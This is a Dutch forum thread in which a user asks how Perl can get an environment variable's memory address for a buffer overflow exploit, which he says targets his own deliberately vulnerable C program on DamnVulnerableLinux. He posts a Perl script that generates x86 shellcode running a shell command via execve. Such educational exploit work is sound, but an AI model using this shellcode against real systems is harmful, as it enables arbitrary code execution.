[PERL] environment address

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Ik ben op zoek naar een perl functie die het zelfde doet als

code:
1
                char *p = getenv(*++av);


Met de onderstaande code kan ik wel de environment variabelen manipuleren maar helaas niet het address ervan vinden

code:
1
2
$ENV{'HOME'} = "/thuis";
exec("EXPORT THUIS");


Iemand een suggestie?

Edit: misschien handig om erbij te vermelden het betreft hier een linux systeem :)

[ Voor 10% gewijzigd door Verwijderd op 28-11-2010 21:19 ]


Acties:
  • 0 Henk 'm!

  • Onno
  • Registratie: Juni 1999
  • Niet online
Die vraag lijkt me onmogelijk te beantwoorden zonder dat je aangeeft wat je eigenlijk wilt bereiken: waar heb je die pointer voor nodig?

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Omdat dat het adres is waar mijn shellcode in het geheugen staat. Door dat adres achter een string met rotzooi te plakken en zo het EIP register te overschrijven wordt jou code uitgevoerd.

Ja ik ben bezig met het schrijven van een buffer overflow exploit. Maar niet voor een noemenswaardig programma (zelf geschreven c progje dat met opzet een bug bevat). Alles draait in DamnVulnerableLinux en is slechts voor educatieve doeleinden!

Voor de liefhebbers, hier het eerste stuk van de code dat op basis van commandline argumenten de shellcode voor je genereert:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$input = reverse($ARGV[0]);
$shellcode="";
while((length($input) % 4) > 0)
{
    $input = " " . $input;
}

$row = "";
for ($key=0; $key <length($input); $key++)
{
    $row =  "\\x" . sprintf("%x",ord(substr($input, $key,1))) . $row;
        
    if(((($key + 1) % 4) == 0) && ($key > 0)) 
    {
            $row = "\\x68" . $row;
            $shellcode =  $shellcode . $row;
            $row = "";
    }
}
print "\n\\x6a\\x0b\\x58\\x99\\x52\n";
print $shellcode;
print "\\x89\\xe6\\x52\\x66\\x68\\x2d\\x63\\x89\\xe1\\x52\x68\\x2f\\x2f\\x73\\x68\n";
print "\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x56\\x51\\x53\\x89\\xe1\\xcd\\x80\n\n";